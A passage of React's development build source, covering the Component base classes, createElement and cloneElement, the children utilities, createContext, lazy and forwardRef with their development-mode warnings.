      warnNoop(publicInstance, 'replaceState');
    },

    /**
     * Sets a subset of the state. This only exists because _pendingState is
     * internal. This provides a merging strategy that is not available to deep
     * properties which is confusing. TODO: Expose pendingState or don't use it
     * during the merge.
     *
     * @param {ReactClass} publicInstance The instance that should rerender.
     * @param {object} partialState Next partial state to be merged with state.
     * @param {?function} callback Called after component is updated.
     * @param {?string} Name of the calling function in the public API.
     * @internal
     */
    enqueueSetState: function (publicInstance, partialState, callback, callerName) {
      warnNoop(publicInstance, 'setState');
    }
  };

  var assign = Object.assign;

  var emptyObject = {};

  {
    Object.freeze(emptyObject);
  }
  /**
   * Base class helpers for the updating state of a component.
   */


  function Component(props, context, updater) {
    this.props = props;
    this.context = context; // If a component has string refs, we will assign a different object later.

    this.refs = emptyObject; // We initialize the default updater but the real one gets injected by the
    // renderer.

    this.updater = updater || ReactNoopUpdateQueue;
  }

  Component.prototype.isReactComponent = {};
  /**
   * Sets a subset of the state. Always use this to mutate
   * state. You should treat `this.state` as immutable.
   *
   * There is no guarantee that `this.state` will be immediately updated, so
   * accessing `this.state` after calling this method may return the old value.
   *
   * There is no guarantee that calls to `setState` will run synchronously,
   * as they may eventually be batched together.  You can provide an optional
   * callback that will be executed when the call to setState is actually
   * completed.
   *
   * When a function is provided to setState, it will be called at some point in
   * the future (not synchronously). It will be called with the up to date
   * component arguments (state, props, context). These values can be different
   * from this.* because your function may be called after receiveProps but before
   * shouldComponentUpdate, and this new state, props, and context will not yet be
   * assigned to this.
   *
   * @param {object|function} partialState Next partial state or function to
   *        produce next partial state to be merged with current state.
   * @param {?function} callback Called after state is updated.
   * @final
   * @protected
   */

  Component.prototype.setState = function (partialState, callback) {
    if (typeof partialState !== 'object' && typeof partialState !== 'function' && partialState != null) {
      throw new Error('setState(...): takes an object of state variables to update or a ' + 'function which returns an object of state variables.');
    }

    this.updater.enqueueSetState(this, partialState, callback, 'setState');
  };
  /**
   * Forces an update. This should only be invoked when it is known with
   * certainty that we are **not** in a DOM transaction.
   *
   * You may want to call this when you know that some deeper aspect of the
   * component's state has changed but `setState` was not called.
   *
   * This will not invoke `shouldComponentUpdate`, but it will invoke
   * `componentWillUpdate` and `componentDidUpdate`.
   *
   * @param {?function} callback Called after update is complete.
   * @final
   * @protected
   */


  Component.prototype.forceUpdate = function (callback) {
    this.updater.enqueueForceUpdate(this, callback, 'forceUpdate');
  };
  /**
   * Deprecated APIs. These APIs used to exist on classic React classes but since
   * we would like to deprecate them, we're not going to move them over to this
   * modern base class. Instead, we define a getter that warns if it's accessed.
   */


  {
    var deprecatedAPIs = {
      isMounted: ['isMounted', 'Instead, make sure to clean up subscriptions and pending requests in ' + 'componentWillUnmount to prevent memory leaks.'],
      replaceState: ['replaceState', 'Refactor your code to use setState instead (see ' + 'https://github.com/facebook/react/issues/3236).']
    };

    var defineDeprecationWarning = function (methodName, info) {
      Object.defineProperty(Component.prototype, methodName, {
        get: function () {
          warn('%s(...) is deprecated in plain JavaScript React classes. %s', info[0], info[1]);

          return undefined;
        }
      });
    };

    for (var fnName in deprecatedAPIs) {
      if (deprecatedAPIs.hasOwnProperty(fnName)) {
        defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);
      }
    }
  }

  function ComponentDummy() {}

  ComponentDummy.prototype = Component.prototype;
  /**
   * Convenience component with default shallow equality check for sCU.
   */

  function PureComponent(props, context, updater) {
    this.props = props;
    this.context = context; // If a component has string refs, we will assign a different object later.

    this.refs = emptyObject;
    this.updater = updater || ReactNoopUpdateQueue;
  }

  var pureComponentPrototype = PureComponent.prototype = new ComponentDummy();
  pureComponentPrototype.constructor = PureComponent; // Avoid an extra prototype jump for these methods.

  assign(pureComponentPrototype, Component.prototype);
  pureComponentPrototype.isPureReactComponent = true;

  // an immutable object with a single mutable value
  function createRef() {
    var refObject = {
      current: null
    };

    {
      Object.seal(refObject);
    }

    return refObject;
  }

  var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare

  function isArray(a) {
    return isArrayImpl(a);
  }

  /*
   * The `'' + value` pattern (used in in perf-sensitive code) throws for Symbol
   * and Temporal.* types. See https://github.com/facebook/react/pull/22064.
   *
   * The functions in this module will throw an easier-to-understand,
   * easier-to-debug exception with a clear errors message message explaining the
   * problem. (Instead of a confusing exception thrown inside the implementation
   * of the `value` object).
   */
  // $FlowFixMe only called in DEV, so void return is not possible.
  function typeName(value) {
    {
      // toStringTag is needed for namespaced types like Temporal.Instant
      var hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;
      var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || 'Object';
      return type;
    }
  } // $FlowFixMe only called in DEV, so void return is not possible.


  function willCoercionThrow(value) {
    {
      try {
        testStringCoercion(value);
        return false;
      } catch (e) {
        return true;
      }
    }
  }

  function testStringCoercion(value) {
    // If you ended up here by following an exception call stack, here's what's
    // happened: you supplied an object or symbol value to React (as a prop, key,
    // DOM attribute, CSS property, string ref, etc.) and when React tried to
    // coerce it to a string using `'' + value`, an exception was thrown.
    //
    // The most common types that will cause this exception are `Symbol` instances
    // and Temporal objects like `Temporal.Instant`. But any object that has a
    // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this
    // exception. (Library authors do this to prevent users from using built-in
    // numeric operators like `+` or comparison operators like `>=` because custom
    // methods are needed to perform accurate arithmetic or comparison.)
    //
    // To fix the problem, coerce this object or symbol value to a string before
    // passing it to React. The most reliable way is usually `String(value)`.
    //
    // To find which value is throwing, check the browser or debugger console.
    // Before this exception was thrown, there should be `console.error` output
    // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the
    // problem and how that type was used: key, atrribute, input value prop, etc.
    // In most cases, this console output also shows the component and its
    // ancestor components where the exception happened.
    //
    // eslint-disable-next-line react-internal/safe-string-coercion
    return '' + value;
  }
  function checkKeyStringCoercion(value) {
    {
      if (willCoercionThrow(value)) {
        error('The provided key is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }

  function getWrappedName(outerType, innerType, wrapperName) {
    var displayName = outerType.displayName;

    if (displayName) {
      return displayName;
    }

    var functionName = innerType.displayName || innerType.name || '';
    return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
  } // Keep in sync with react-reconciler/getComponentNameFromFiber


  function getContextName(type) {
    return type.displayName || 'Context';
  } // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.


  function getComponentNameFromType(type) {
    if (type == null) {
      // Host root, text node or just invalid type.
      return null;
    }

    {
      if (typeof type.tag === 'number') {
        error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
      }
    }

    if (typeof type === 'function') {
      return type.displayName || type.name || null;
    }

    if (typeof type === 'string') {
      return type;
    }

    switch (type) {
      case REACT_FRAGMENT_TYPE:
        return 'Fragment';

      case REACT_PORTAL_TYPE:
        return 'Portal';

      case REACT_PROFILER_TYPE:
        return 'Profiler';

      case REACT_STRICT_MODE_TYPE:
        return 'StrictMode';

      case REACT_SUSPENSE_TYPE:
        return 'Suspense';

      case REACT_SUSPENSE_LIST_TYPE:
        return 'SuspenseList';

    }

    if (typeof type === 'object') {
      switch (type.$$typeof) {
        case REACT_CONTEXT_TYPE:
          var context = type;
          return getContextName(context) + '.Consumer';

        case REACT_PROVIDER_TYPE:
          var provider = type;
          return getContextName(provider._context) + '.Provider';

        case REACT_FORWARD_REF_TYPE:
          return getWrappedName(type, type.render, 'ForwardRef');

        case REACT_MEMO_TYPE:
          var outerName = type.displayName || null;

          if (outerName !== null) {
            return outerName;
          }

          return getComponentNameFromType(type.type) || 'Memo';

        case REACT_LAZY_TYPE:
          {
            var lazyComponent = type;
            var payload = lazyComponent._payload;
            var init = lazyComponent._init;

            try {
              return getComponentNameFromType(init(payload));
            } catch (x) {
              return null;
            }
          }

        // eslint-disable-next-line no-fallthrough
      }
    }

    return null;
  }

  var hasOwnProperty = Object.prototype.hasOwnProperty;

  var RESERVED_PROPS = {
    key: true,
    ref: true,
    __self: true,
    __source: true
  };
  var specialPropKeyWarningShown, specialPropRefWarningShown, didWarnAboutStringRefs;

  {
    didWarnAboutStringRefs = {};
  }

  function hasValidRef(config) {
    {
      if (hasOwnProperty.call(config, 'ref')) {
        var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;

        if (getter && getter.isReactWarning) {
          return false;
        }
      }
    }

    return config.ref !== undefined;
  }

  function hasValidKey(config) {
    {
      if (hasOwnProperty.call(config, 'key')) {
        var getter = Object.getOwnPropertyDescriptor(config, 'key').get;

        if (getter && getter.isReactWarning) {
          return false;
        }
      }
    }

    return config.key !== undefined;
  }

  function defineKeyPropWarningGetter(props, displayName) {
    var warnAboutAccessingKey = function () {
      {
        if (!specialPropKeyWarningShown) {
          specialPropKeyWarningShown = true;

          error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
        }
      }
    };

    warnAboutAccessingKey.isReactWarning = true;
    Object.defineProperty(props, 'key', {
      get: warnAboutAccessingKey,
      configurable: true
    });
  }

  function defineRefPropWarningGetter(props, displayName) {
    var warnAboutAccessingRef = function () {
      {
        if (!specialPropRefWarningShown) {
          specialPropRefWarningShown = true;

          error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
        }
      }
    };

    warnAboutAccessingRef.isReactWarning = true;
    Object.defineProperty(props, 'ref', {
      get: warnAboutAccessingRef,
      configurable: true
    });
  }

  function warnIfStringRefCannotBeAutoConverted(config) {
    {
      if (typeof config.ref === 'string' && ReactCurrentOwner.current && config.__self && ReactCurrentOwner.current.stateNode !== config.__self) {
        var componentName = getComponentNameFromType(ReactCurrentOwner.current.type);

        if (!didWarnAboutStringRefs[componentName]) {
          error('Component "%s" contains the string ref "%s". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, config.ref);

          didWarnAboutStringRefs[componentName] = true;
        }
      }
    }
  }
  /**
   * Factory method to create a new React element. This no longer adheres to
   * the class pattern, so do not use new to call it. Also, instanceof check
   * will not work. Instead test $$typeof field against Symbol.for('react.element') to check
   * if something is a React Element.
   *
   * @param {*} type
   * @param {*} props
   * @param {*} key
   * @param {string|object} ref
   * @param {*} owner
   * @param {*} self A *temporary* helper to detect places where `this` is
   * different from the `owner` when React.createElement is called, so that we
   * can warn. We want to get rid of owner and replace string `ref`s with arrow
   * functions, and as long as `this` and owner are the same, there will be no
   * change in behavior.
   * @param {*} source An annotation object (added by a transpiler or otherwise)
   * indicating filename, line number, and/or other information.
   * @internal
   */


  var ReactElement = function (type, key, ref, self, source, owner, props) {
    var element = {
      // This tag allows us to uniquely identify this as a React Element
      $$typeof: REACT_ELEMENT_TYPE,
      // Built-in properties that belong on the element
      type: type,
      key: key,
      ref: ref,
      props: props,
      // Record the component responsible for creating this element.
      _owner: owner
    };

    {
      // The validation flag is currently mutative. We put it on
      // an external backing store so that we can freeze the whole object.
      // This can be replaced with a WeakMap once they are implemented in
      // commonly used development environments.
      element._store = {}; // To make comparing ReactElements easier for testing purposes, we make
      // the validation flag non-enumerable (where possible, which should
      // include every environment we run tests in), so the test framework
      // ignores it.

      Object.defineProperty(element._store, 'validated', {
        configurable: false,
        enumerable: false,
        writable: true,
        value: false
      }); // self and source are DEV only properties.

      Object.defineProperty(element, '_self', {
        configurable: false,
        enumerable: false,
        writable: false,
        value: self
      }); // Two elements created in two different places should be considered
      // equal for testing purposes and therefore we hide it from enumeration.

      Object.defineProperty(element, '_source', {
        configurable: false,
        enumerable: false,
        writable: false,
        value: source
      });

      if (Object.freeze) {
        Object.freeze(element.props);
        Object.freeze(element);
      }
    }

    return element;
  };
  /**
   * Create and return a new ReactElement of the given type.
   * See https://reactjs.org/docs/react-api.html#createelement
   */

  function createElement(type, config, children) {
    var propName; // Reserved names are extracted

    var props = {};
    var key = null;
    var ref = null;
    var self = null;
    var source = null;

    if (config != null) {
      if (hasValidRef(config)) {
        ref = config.ref;

        {
          warnIfStringRefCannotBeAutoConverted(config);
        }
      }

      if (hasValidKey(config)) {
        {
          checkKeyStringCoercion(config.key);
        }

        key = '' + config.key;
      }

      self = config.__self === undefined ? null : config.__self;
      source = config.__source === undefined ? null : config.__source; // Remaining properties are added to a new props object

      for (propName in config) {
        if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
          props[propName] = config[propName];
        }
      }
    } // Children can be more than one argument, and those are transferred onto
    // the newly allocated props object.


    var childrenLength = arguments.length - 2;

    if (childrenLength === 1) {
      props.children = children;
    } else if (childrenLength > 1) {
      var childArray = Array(childrenLength);

      for (var i = 0; i < childrenLength; i++) {
        childArray[i] = arguments[i + 2];
      }

      {
        if (Object.freeze) {
          Object.freeze(childArray);
        }
      }

      props.children = childArray;
    } // Resolve default props


    if (type && type.defaultProps) {
      var defaultProps = type.defaultProps;

      for (propName in defaultProps) {
        if (props[propName] === undefined) {
          props[propName] = defaultProps[propName];
        }
      }
    }

    {
      if (key || ref) {
        var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;

        if (key) {
          defineKeyPropWarningGetter(props, displayName);
        }

        if (ref) {
          defineRefPropWarningGetter(props, displayName);
        }
      }
    }

    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);
  }
  function cloneAndReplaceKey(oldElement, newKey) {
    var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);
    return newElement;
  }
  /**
   * Clone and return a new ReactElement using element as the starting point.
   * See https://reactjs.org/docs/react-api.html#cloneelement
   */

  function cloneElement(element, config, children) {
    if (element === null || element === undefined) {
      throw new Error("React.cloneElement(...): The argument must be a React element, but you passed " + element + ".");
    }

    var propName; // Original props are copied

    var props = assign({}, element.props); // Reserved names are extracted

    var key = element.key;
    var ref = element.ref; // Self is preserved since the owner is preserved.

    var self = element._self; // Source is preserved since cloneElement is unlikely to be targeted by a
    // transpiler, and the original source is probably a better indicator of the
    // true owner.

    var source = element._source; // Owner will be preserved, unless ref is overridden

    var owner = element._owner;

    if (config != null) {
      if (hasValidRef(config)) {
        // Silently steal the ref from the parent.
        ref = config.ref;
        owner = ReactCurrentOwner.current;
      }

      if (hasValidKey(config)) {
        {
          checkKeyStringCoercion(config.key);
        }

        key = '' + config.key;
      } // Remaining properties override existing props


      var defaultProps;

      if (element.type && element.type.defaultProps) {
        defaultProps = element.type.defaultProps;
      }

      for (propName in config) {
        if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
          if (config[propName] === undefined && defaultProps !== undefined) {
            // Resolve default props
            props[propName] = defaultProps[propName];
          } else {
            props[propName] = config[propName];
          }
        }
      }
    } // Children can be more than one argument, and those are transferred onto
    // the newly allocated props object.


    var childrenLength = arguments.length - 2;

    if (childrenLength === 1) {
      props.children = children;
    } else if (childrenLength > 1) {
      var childArray = Array(childrenLength);

      for (var i = 0; i < childrenLength; i++) {
        childArray[i] = arguments[i + 2];
      }

      props.children = childArray;
    }

    return ReactElement(element.type, key, ref, self, source, owner, props);
  }
  /**
   * Verifies the object is a ReactElement.
   * See https://reactjs.org/docs/react-api.html#isvalidelement
   * @param {?object} object
   * @return {boolean} True if `object` is a ReactElement.
   * @final
   */

  function isValidElement(object) {
    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
  }

  var SEPARATOR = '.';
  var SUBSEPARATOR = ':';
  /**
   * Escape and wrap key so it is safe to use as a reactid
   *
   * @param {string} key to be escaped.
   * @return {string} the escaped key.
   */

  function escape(key) {
    var escapeRegex = /[=:]/g;
    var escaperLookup = {
      '=': '=0',
      ':': '=2'
    };
    var escapedString = key.replace(escapeRegex, function (match) {
      return escaperLookup[match];
    });
    return '$' + escapedString;
  }
  /**
   * TODO: Test that a single child and an array with one item have the same key
   * pattern.
   */


  var didWarnAboutMaps = false;
  var userProvidedKeyEscapeRegex = /\/+/g;

  function escapeUserProvidedKey(text) {
    return text.replace(userProvidedKeyEscapeRegex, '$&/');
  }
  /**
   * Generate a key string that identifies a element within a set.
   *
   * @param {*} element A element that could contain a manual key.
   * @param {number} index Index that is used if a manual key is not provided.
   * @return {string}
   */


  function getElementKey(element, index) {
    // Do some typechecking here since we call this blindly. We want to ensure
    // that we don't block potential future ES APIs.
    if (typeof element === 'object' && element !== null && element.key != null) {
      // Explicit key
      {
        checkKeyStringCoercion(element.key);
      }

      return escape('' + element.key);
    } // Implicit key determined by the index in the set


    return index.toString(36);
  }

  function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
    var type = typeof children;

    if (type === 'undefined' || type === 'boolean') {
      // All of the above are perceived as null.
      children = null;
    }

    var invokeCallback = false;

    if (children === null) {
      invokeCallback = true;
    } else {
      switch (type) {
        case 'string':
        case 'number':
          invokeCallback = true;
          break;

        case 'object':
          switch (children.$$typeof) {
            case REACT_ELEMENT_TYPE:
            case REACT_PORTAL_TYPE:
              invokeCallback = true;
          }

      }
    }

    if (invokeCallback) {
      var _child = children;
      var mappedChild = callback(_child); // If it's the only child, treat the name as if it was wrapped in an array
      // so that it's consistent if the number of children grows:

      var childKey = nameSoFar === '' ? SEPARATOR + getElementKey(_child, 0) : nameSoFar;

      if (isArray(mappedChild)) {
        var escapedChildKey = '';

        if (childKey != null) {
          escapedChildKey = escapeUserProvidedKey(childKey) + '/';
        }

        mapIntoArray(mappedChild, array, escapedChildKey, '', function (c) {
          return c;
        });
      } else if (mappedChild != null) {
        if (isValidElement(mappedChild)) {
          {
            // The `if` statement here prevents auto-disabling of the safe
            // coercion ESLint rule, so we must manually disable it below.
            // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
            if (mappedChild.key && (!_child || _child.key !== mappedChild.key)) {
              checkKeyStringCoercion(mappedChild.key);
            }
          }

          mappedChild = cloneAndReplaceKey(mappedChild, // Keep both the (mapped) and old keys if they differ, just as
          // traverseAllChildren used to do for objects as children
          escapedPrefix + ( // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
          mappedChild.key && (!_child || _child.key !== mappedChild.key) ? // $FlowFixMe Flow incorrectly thinks existing element's key can be a number
          // eslint-disable-next-line react-internal/safe-string-coercion
          escapeUserProvidedKey('' + mappedChild.key) + '/' : '') + childKey);
        }

        array.push(mappedChild);
      }

      return 1;
    }

    var child;
    var nextName;
    var subtreeCount = 0; // Count of children found in the current subtree.

    var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;

    if (isArray(children)) {
      for (var i = 0; i < children.length; i++) {
        child = children[i];
        nextName = nextNamePrefix + getElementKey(child, i);
        subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
      }
    } else {
      var iteratorFn = getIteratorFn(children);

      if (typeof iteratorFn === 'function') {
        var iterableChildren = children;

        {
          // Warn about using Maps as children
          if (iteratorFn === iterableChildren.entries) {
            if (!didWarnAboutMaps) {
              warn('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
            }

            didWarnAboutMaps = true;
          }
        }

        var iterator = iteratorFn.call(iterableChildren);
        var step;
        var ii = 0;

        while (!(step = iterator.next()).done) {
          child = step.value;
          nextName = nextNamePrefix + getElementKey(child, ii++);
          subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
        }
      } else if (type === 'object') {
        // eslint-disable-next-line react-internal/safe-string-coercion
        var childrenString = String(children);
        throw new Error("Objects are not valid as a React child (found: " + (childrenString === '[object Object]' ? 'object with keys {' + Object.keys(children).join(', ') + '}' : childrenString) + "). " + 'If you meant to render a collection of children, use an array ' + 'instead.');
      }
    }

    return subtreeCount;
  }

  /**
   * Maps children that are typically specified as `props.children`.
   *
   * See https://reactjs.org/docs/react-api.html#reactchildrenmap
   *
   * The provided mapFunction(child, index) will be called for each
   * leaf child.
   *
   * @param {?*} children Children tree container.
   * @param {function(*, int)} func The map function.
   * @param {*} context Context for mapFunction.
   * @return {object} Object containing the ordered map of results.
   */
  function mapChildren(children, func, context) {
    if (children == null) {
      return children;
    }

    var result = [];
    var count = 0;
    mapIntoArray(children, result, '', '', function (child) {
      return func.call(context, child, count++);
    });
    return result;
  }
  /**
   * Count the number of children that are typically specified as
   * `props.children`.
   *
   * See https://reactjs.org/docs/react-api.html#reactchildrencount
   *
   * @param {?*} children Children tree container.
   * @return {number} The number of children.
   */


  function countChildren(children) {
    var n = 0;
    mapChildren(children, function () {
      n++; // Don't return anything
    });
    return n;
  }

  /**
   * Iterates through children that are typically specified as `props.children`.
   *
   * See https://reactjs.org/docs/react-api.html#reactchildrenforeach
   *
   * The provided forEachFunc(child, index) will be called for each
   * leaf child.
   *
   * @param {?*} children Children tree container.
   * @param {function(*, int)} forEachFunc
   * @param {*} forEachContext Context for forEachContext.
   */
  function forEachChildren(children, forEachFunc, forEachContext) {
    mapChildren(children, function () {
      forEachFunc.apply(this, arguments); // Don't return anything.
    }, forEachContext);
  }
  /**
   * Flatten a children object (typically specified as `props.children`) and
   * return an array with appropriately re-keyed children.
   *
   * See https://reactjs.org/docs/react-api.html#reactchildrentoarray
   */


  function toArray(children) {
    return mapChildren(children, function (child) {
      return child;
    }) || [];
  }
  /**
   * Returns the first child in a collection of children and verifies that there
   * is only one child in the collection.
   *
   * See https://reactjs.org/docs/react-api.html#reactchildrenonly
   *
   * The current implementation of this function assumes that a single child gets
   * passed without a wrapper, but the purpose of this helper function is to
   * abstract away the particular structure of children.
   *
   * @param {?object} children Child collection structure.
   * @return {ReactElement} The first and only `ReactElement` contained in the
   * structure.
   */


  function onlyChild(children) {
    if (!isValidElement(children)) {
      throw new Error('React.Children.only expected to receive a single React element child.');
    }

    return children;
  }

  function createContext(defaultValue) {
    // TODO: Second argument used to be an optional `calculateChangedBits`
    // function. Warn to reserve for future use?
    var context = {
      $$typeof: REACT_CONTEXT_TYPE,
      // As a workaround to support multiple concurrent renderers, we categorize
      // some renderers as primary and others as secondary. We only expect
      // there to be two concurrent renderers at most: React Native (primary) and
      // Fabric (secondary); React DOM (primary) and React ART (secondary).
      // Secondary renderers store their context values on separate fields.
      _currentValue: defaultValue,
      _currentValue2: defaultValue,
      // Used to track how many concurrent renderers this context currently
      // supports within in a single renderer. Such as parallel server rendering.
      _threadCount: 0,
      // These are circular
      Provider: null,
      Consumer: null,
      // Add these to use same hidden class in VM as ServerContext
      _defaultValue: null,
      _globalName: null
    };
    context.Provider = {
      $$typeof: REACT_PROVIDER_TYPE,
      _context: context
    };
    var hasWarnedAboutUsingNestedContextConsumers = false;
    var hasWarnedAboutUsingConsumerProvider = false;
    var hasWarnedAboutDisplayNameOnConsumer = false;

    {
      // A separate object, but proxies back to the original context object for
      // backwards compatibility. It has a different $$typeof, so we can properly
      // warn for the incorrect usage of Context as a Consumer.
      var Consumer = {
        $$typeof: REACT_CONTEXT_TYPE,
        _context: context
      }; // $FlowFixMe: Flow complains about not setting a value, which is intentional here

      Object.defineProperties(Consumer, {
        Provider: {
          get: function () {
            if (!hasWarnedAboutUsingConsumerProvider) {
              hasWarnedAboutUsingConsumerProvider = true;

              error('Rendering <Context.Consumer.Provider> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Provider> instead?');
            }

            return context.Provider;
          },
          set: function (_Provider) {
            context.Provider = _Provider;
          }
        },
        _currentValue: {
          get: function () {
            return context._currentValue;
          },
          set: function (_currentValue) {
            context._currentValue = _currentValue;
          }
        },
        _currentValue2: {
          get: function () {
            return context._currentValue2;
          },
          set: function (_currentValue2) {
            context._currentValue2 = _currentValue2;
          }
        },
        _threadCount: {
          get: function () {
            return context._threadCount;
          },
          set: function (_threadCount) {
            context._threadCount = _threadCount;
          }
        },
        Consumer: {
          get: function () {
            if (!hasWarnedAboutUsingNestedContextConsumers) {
              hasWarnedAboutUsingNestedContextConsumers = true;

              error('Rendering <Context.Consumer.Consumer> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
            }

            return context.Consumer;
          }
        },
        displayName: {
          get: function () {
            return context.displayName;
          },
          set: function (displayName) {
            if (!hasWarnedAboutDisplayNameOnConsumer) {
              warn('Setting `displayName` on Context.Consumer has no effect. ' + "You should set it directly on the context with Context.displayName = '%s'.", displayName);

              hasWarnedAboutDisplayNameOnConsumer = true;
            }
          }
        }
      }); // $FlowFixMe: Flow complains about missing properties because it doesn't understand defineProperty

      context.Consumer = Consumer;
    }

    {
      context._currentRenderer = null;
      context._currentRenderer2 = null;
    }

    return context;
  }

  var Uninitialized = -1;
  var Pending = 0;
  var Resolved = 1;
  var Rejected = 2;

  function lazyInitializer(payload) {
    if (payload._status === Uninitialized) {
      var ctor = payload._result;
      var thenable = ctor(); // Transition to the next state.
      // This might throw either because it's missing or throws. If so, we treat it
      // as still uninitialized and try again next time. Which is the same as what
      // happens if the ctor or any wrappers processing the ctor throws. This might
      // end up fixing it if the resolution was a concurrency bug.

      thenable.then(function (moduleObject) {
        if (payload._status === Pending || payload._status === Uninitialized) {
          // Transition to the next state.
          var resolved = payload;
          resolved._status = Resolved;
          resolved._result = moduleObject;
        }
      }, function (error) {
        if (payload._status === Pending || payload._status === Uninitialized) {
          // Transition to the next state.
          var rejected = payload;
          rejected._status = Rejected;
          rejected._result = error;
        }
      });

      if (payload._status === Uninitialized) {
        // In case, we're still uninitialized, then we're waiting for the thenable
        // to resolve. Set it as pending in the meantime.
        var pending = payload;
        pending._status = Pending;
        pending._result = thenable;
      }
    }

    if (payload._status === Resolved) {
      var moduleObject = payload._result;

      {
        if (moduleObject === undefined) {
          error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n  ' + // Break up imports to avoid accidentally parsing them as dependencies.
          'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))\n\n" + 'Did you accidentally put curly braces around the import?', moduleObject);
        }
      }

      {
        if (!('default' in moduleObject)) {
          error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n  ' + // Break up imports to avoid accidentally parsing them as dependencies.
          'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))", moduleObject);
        }
      }

      return moduleObject.default;
    } else {
      throw payload._result;
    }
  }

  function lazy(ctor) {
    var payload = {
      // We use these fields to store the result.
      _status: Uninitialized,
      _result: ctor
    };
    var lazyType = {
      $$typeof: REACT_LAZY_TYPE,
      _payload: payload,
      _init: lazyInitializer
    };

    {
      // In production, this would just set it on the object.
      var defaultProps;
      var propTypes; // $FlowFixMe

      Object.defineProperties(lazyType, {
        defaultProps: {
          configurable: true,
          get: function () {
            return defaultProps;
          },
          set: function (newDefaultProps) {
            error('React.lazy(...): It is not supported to assign `defaultProps` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');

            defaultProps = newDefaultProps; // Match production behavior more closely:
            // $FlowFixMe

            Object.defineProperty(lazyType, 'defaultProps', {
              enumerable: true
            });
          }
        },
        propTypes: {
          configurable: true,
          get: function () {
            return propTypes;
          },
          set: function (newPropTypes) {
            error('React.lazy(...): It is not supported to assign `propTypes` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');

            propTypes = newPropTypes; // Match production behavior more closely:
            // $FlowFixMe

            Object.defineProperty(lazyType, 'propTypes', {
              enumerable: true
            });
          }
        }
      });
    }

    return lazyType;
  }

  function forwardRef(render) {
    {
      if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
        error('forwardRef requires a render function but received a `memo` ' + 'component. Instead of forwardRef(memo(...)), use ' + 'memo(forwardRef(...)).');
      } else if (typeof render !== 'function') {
        error('forwardRef requires a render function but was given %s.', render === null ? 'null' : typeof render);
      } else {
        if (render.length !== 0 && render.length !== 2) {
          error('forwardRef render functions accept exactly two parameters: props and ref. %s', render.length === 1 ? 'Did you forget to use the ref parameter?' : 'Any additional parameter will be undefined.');
        }
      }

      if (render != null) {
        if (render.defaultProps != null || render.propTypes != null) {
          error('forwardRef render functions do not support propTypes or defaultProps. ' + 'Did you accidentally pass a React component?');
        }
      }
    }

    var elementType = {
      $$typeof: REACT_FORWARD_REF_TYPE,
      render: render
    };

    {
      var ownName;
      Object.defineProperty(elementType, 'displayName', {
        enumerable: false,
        configurable: true,
        get: function () {
          return ownName;
        },
        set: function (name) {
          ownName = name; // The inner component shouldn't inherit this display name in most cases,
          // because the component may be used elsewhere.
          // But it's nice for anonymous functions to inherit the name,
          // so that our component-stack generation logic will display their frames.
          // An anonymous function generally suggests a pattern like:
          //   React.forwardRef((props, ref) => {...});
          // This kind of inner function is not used elsewhere so the side effect is okay.

          if (!render.name && !render.displayName) {
            render.displayName = name;
          }
        }
      });
    }

    return elementType;
  }

  var REACT_MODULE_REFERENCE;

  {
    REACT_MODULE_REFERENCE = Symbol.for('react.module.reference');
  }

  function isValidElementType(type) {
    if (typeof type === 'string' || typeof type === 'function') {
      return true;
    } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).


    if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing  || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden  || type === REACT_OFFSCREEN_TYPE || enableScopeAPI  || enableCacheElement  || enableTransitionTracing ) {
      return true;
    }

